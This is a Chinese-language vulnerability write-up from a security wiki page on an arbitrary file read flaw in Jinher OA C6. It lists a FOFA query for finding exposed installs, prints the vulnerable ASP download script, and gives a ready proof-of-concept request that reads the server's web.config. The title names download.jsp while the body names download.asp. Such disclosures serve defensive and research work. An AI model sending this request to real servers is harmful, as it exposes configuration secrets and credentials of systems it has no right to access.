menu arrow_back 湛蓝安全空间 |狂野湛蓝,暴躁每天 chevron_right ... chevron_right 金和OA chevron_right 金和OA C6 download.jsp 任意文件读取漏洞.md
  • home 首页
  • brightness_4 暗黑模式
  • cloud
    xLIYhHS7e34ez7Ma
    cloud
    湛蓝安全
    code
    Github
    金和OA C6 download.jsp 任意文件读取漏洞.md
    4.72 KB / 2021-07-04 06:01:08
        # 金和OA C6 download.jsp 任意文件读取漏洞
    
    ## 漏洞描述
    
    金和OA C6 download.jsp文件存在任意文件读取漏洞,攻击者通过漏洞可以获取服务器中的敏感信息
    
    ## 漏洞影响
    
    > [!NOTE]
    >
    > 金和OA
    
    ## FOFA
    
    > [!NOTE]
    >
    > app="Jinher-OA"
    
    ## 漏洞复现
    
    登录页面如下
    
    ![image-20210609083645344](http://wikioss.peiqi.tech/vuln/image-20210609083645344.png?x-oss-process=image/auto-orient,1/quality,q_90/watermark,image_c2h1aXlpbi9zdWkucG5nP3gtb3NzLXByb2Nlc3M9aW1hZ2UvcmVzaXplLFBfMTQvYnJpZ2h0LC0zOS9jb250cmFzdCwtNjQ,g_se,t_17,x_1,y_10)
    
    漏洞文件为 download.asp
    
    ```asp
    
    <%       
    	Response.Buffer     =     true       
    	Response.Clear       
    	      
    	dim     url       
    	Dim     fso,fl,flsize       
    	dim     Dname       
    	Dim     objStream,ContentType,flName,isre,url1       
    	'*********************************************调用时传入的下载文件名       
    	Dname=trim(request("filename"))       
    	'******************************************************************       
    	If     Dname<>""     Then       
    	'******************************下载文件存放的服务端目录       
    							url=server.MapPath(Dname)       
    							'url=server.MapPath("./")&"\Jhsoft.Web.module\testbill\dj"&Dname     '这边做了一下改动By   Fanshui   
    	'***************************************************       
    	End     If       
    	'Response.write   url   
    	'response.end   
    
    	Set     fso=Server.CreateObject("Scripting.FileSystemObject")       
    	Set     fl=fso.getfile(url)       
    	flsize=fl.size       
    	flName=fl.name       
    	Set     fl=Nothing       
    	Set     fso=Nothing     
    	'Response.write flName
    	'Response.write flsize
    %>    
    
    
    <%       
        Set		objStream     =     Server.CreateObject("ADODB.Stream")
    	'objStream.Mode    =    3  
    	objStream.Type     =     1
        objStream.Open        
        objStream.LoadFromFile     url       
    
    
        Select     Case     lcase(Right(flName,     4))       
            Case     ".asf"       
                                    ContentType     =     "video/x-ms-asf"       
            Case     ".avi"       
                                    ContentType     =     "video/avi"       
            Case     ".doc"       
                                    ContentType     =     "application/msword"       
            Case     ".zip"       
                                    ContentType     =     "application/zip"       
            Case     ".xls"       
                                    ContentType     =     "application/vnd.ms-excel"       
            Case     ".gif"       
                                    ContentType     =     "image/gif"       
            Case     ".jpg",     "jpeg"       
                                    ContentType     =     "image/jpeg"       
            Case     ".wav"       
                                    ContentType     =     "audio/wav"       
            Case     ".mp3"       
                                    ContentType     =     "audio/mpeg3"       
            Case     ".mpg",     "mpeg"       
                                    ContentType     =     "video/mpeg"       
            Case     ".rtf"       
                                    ContentType     =     "application/rtf"       
            Case     ".htm",     "html"       
                                    ContentType     =     "text/html"       
            Case     ".txt"       
                                    ContentType     =     "text/plain"       
            Case     Else       
                                    ContentType     =     "application/octet-stream"       
        End     Select       
    
    
    
    	Response.AddHeader     "Content-Disposition",     "attachment;     filename="     &     flName       
        Response.AddHeader     "Content-Length",     flsize       
    
        Response.Charset     =     "UTF-8"       
        Response.ContentType     =     ContentType   
    
    	Response.BinaryWrite     objStream.Read       
        Response.Flush       
        response.Clear()       
        objStream.Close       
        Set     objStream     =     Nothing       
    
    %>
    ```
    
    请求的POC为
    
    ```
    /C6/Jhsoft.Web.module/testbill/dj/download.asp?filename=/c6/web.config
    ```
    
    ![image-20210609085943874](http://wikioss.peiqi.tech/vuln/image-20210609085943874.png?x-oss-process=image/auto-orient,1/quality,q_90/watermark,image_c2h1aXlpbi9zdWkucG5nP3gtb3NzLXByb2Nlc3M9aW1hZ2UvcmVzaXplLFBfMTQvYnJpZ2h0LC0zOS9jb250cmFzdCwtNjQ,g_se,t_17,x_1,y_10)
    
    读取 web.config
    
    ```
    /C6/Jhsoft.Web.module/testbill/dj/download.asp?filename=/c6/web.config
    ```
    
    ![image-20210609091013697](http://wikioss.peiqi.tech/vuln/image-20210609091013697.png?x-oss-process=image/auto-orient,1/quality,q_90/watermark,image_c2h1aXlpbi9zdWkucG5nP3gtb3NzLXByb2Nlc3M9aW1hZ2UvcmVzaXplLFBfMTQvYnJpZ2h0LC0zOS9jb250cmFzdCwtNjQ,g_se,t_17,x_1,y_10)
    
    links
    file_download